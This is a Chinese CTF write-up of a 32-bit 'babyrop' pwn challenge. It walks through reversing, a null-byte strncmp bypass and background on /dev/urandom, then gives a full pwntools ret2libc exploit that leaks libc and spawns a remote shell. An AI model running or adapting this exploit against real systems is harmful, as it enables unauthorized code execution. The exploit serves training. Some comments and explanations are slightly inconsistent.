1.checksec+运行
32位/ NX保护开启/
还有Full RELRO
2.IDA进行中
1.main函数
不明白的函数,不知道的语句,搜索
linux中提供了 /dev/urandom 和 /dev/random 两个来提供随机数
先来了解了解熵是什么
熵:系统状态的混乱程度
linux是根据系统的熵池来产生随机数的。
熵池就是系统当前的环境噪音,环境噪音的来源很多,键盘的输入、鼠标的移动、内存的使用、文件的使用量、进程数量等等。
假如系统的熵不够大,则系统产生的随机数随机效果就不是很好,更易被猜出来.
1./dev/random的random pool依赖于系统中断,因此在系统的中断数不足时,/dev/random设备会一直封锁,尝试读取的进程就会进入等待状态,直到系统的中断数充分够用,/dev/random 是真随机数生成器,它会消耗熵值来产生随机数,同时在熵耗尽的情况下会阻塞,直到有新的熵生成
2./dev/random设备可以保证数据的随机性。/dev/urandom不依赖系统的中断,也就不会造成进程忙等待,但是数据的随机性也不高,/dev/urandom 是伪随机数生成器,它根据一个初始的随机种子(这个种子来源就是熵池中的熵)来产生一系列的伪随机数,而并不会在熵耗尽的情况下阻塞。
若在系统启动阶段使用 "/dev/urandom" 则可能存在熵池中还不存在任何熵的情况,
这时用 ''/dev/urandom'' 产生的随机数是可预测的
这样的话,除非要在启动启动阶段产生随机数,否则绝大多数情况下还是使用 /dev/urandom 来产生随机数,这样才不会引起程序莫名的挂起。
fd:打开生成随机数的文件
if ( fd > 0 )将buf读入
read(fd, &buf, 4u);
接下来看看
v2 = sub_804871F(buf);
sub_80487D0(v2);
2.sub_80487D0(char a1)
read函数栈溢出
如果a1==127
将0xc8u读入,否则将a1读入
跟进buf看看大小
offset=0xe7+4
3.sub_804871F(int a1)
strcmp函数可用“\x00”来截断,进而覆盖下面的v5-----[buf]变量,随后让第二个read函数读入的“a1”足够覆盖栈,构造ROP
payload=b'\x00'+b'\xff'*7
0xff=255采用最大的
1. 浅谈memset函数
定义变量时一定要进行初始化,尤其是数组和结构体这种占用内存大的数据结构
memset() 函数可以说是初始化内存的“万能函数”,初始化新申请的内存,直接操作内存空间
mem(memory)函数原型
# include <string.h>
void *memset(void *s, int c, unsigned long n);
2.浅谈strncmp函数
函数原型
int strncmp(const char *str1, const char *str2, size_t n)
把 str1 和 str2 进行比较,最多比较前 n 个字节
参数:
str1 -- 要进行比较的第一个字符串。
str2 -- 要进行比较的第二个字符串。
n -- 要比较的最大字符数。
返回值:
如果返回值 < 0,则表示 str1 小于 str2。
如果返回值 > 0,则表示 str1 大于 str2。
如果返回值 = 0,则表示 str1 等于 str2。
将我们输入的值 和 产生的随机数 进行比较
3.接下来常规的ret2libc3进行栈溢出
无system及binsh
4.脚本
from pwn import*
from LibcSearcher import LibcSearcher
#p=process('./11babyrop')
p=remote("node4.buuoj.cn",25479)
elf = ELF('./11babyrop')
write_plt=elf.plt['write']
write_got=elf.got['write']
main_addr=0x8048825
payload1=b'\x00'+b'\xff'*7
p.sendline(payload1)
p.recvuntil('Correct\n')
#泄露read的got地址
payload=b'a'*0xe7+b'a'*0x4
payload+=p32(write_plt)+p32(main_addr)+p32(1)+p32(write_got)+p32(0x8)
p.sendline(payload)
write_addr=u32(p.recv(4))
libc=LibcSearcher('write',write_addr)
print(hex(write_addr))
libc_base=write_addr-libc.dump('write')
system_addr=libc_base+libc.dump('system')
bin_sh_addr=libc_base+libc.dump('str_bin_sh')
p.sendline(payload1)
p.recvuntil('Correct\n')
payload=b'a'*0xe7+b'a'*0x4
payload+=p32(system_addr)+b'aaaa'+p32(bin_sh_addr)
p.sendline(payload)
p.interactive()